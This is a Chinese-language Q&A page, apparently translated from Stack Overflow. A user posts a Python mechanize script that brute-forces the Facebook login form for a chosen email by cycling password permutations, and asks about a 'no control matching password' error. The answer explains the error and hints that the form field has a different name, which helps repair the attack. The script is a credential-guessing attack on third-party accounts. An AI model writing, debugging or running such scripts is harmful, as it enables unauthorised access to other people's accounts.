蛮力脚本python和机械化

时间:2015-06-30 02:42:15

标签: python facebook python-2.7 mechanize mechanize-python

我正在尝试使用python脚本强行使用Facebook登录页面,但每当我运行代码时,我都会收到以下错误。我的代码是:

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
print "enter target email" 
email = raw_input('>>>')
print "continue at your own risk, im not responible for what you do..."
print "would you like to continue"
contnue = raw_input('y/n:')

if contnue == 'y':
    combos = itertools.permutations("i3^4hUP-",8)
    br.open("http://www.facebook.com/login/")
    for x in combos:
        br.select_form( nr = 0 )
        br.form['email'] = email 
        br.form['password'] = ''.join(x)
        print "Checking ",br.form['password']
        response=br.submit()
        if response.geturl()=="http://www.example.com/redirected_to_url":
            #url to which the page is redirected after login
            print "Correct password is ",''.join(x)
            break

该脚本使用mechanize模块尝试强制默认的facebook登录页面。

我的错误的堆栈跟踪是:

File "passripper.py", line 83, in <module>
   br.form['password'] = ''.join(x)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 2780, in __setitem__
    control = self.find_control(name)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3101, in find_control
    return self._find_control(name, type, kind, id, label, predicate, nr)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3185, in _find_control
    raise ControlNotFoundError("no control matching "+description)
mechanize._form.ControlNotFoundError: no control matching name 'password'

有人可以解释错误信息的含义吗?

1 个答案:

答案 0 :(得分:2)

您的错误消息:

  

mechanize._form.ControlNotFoundError:没有控件匹配名称'密码'

尝试阅读。然后查看您尝试编码的页面。该表单上没有名称为“password”的表单字段。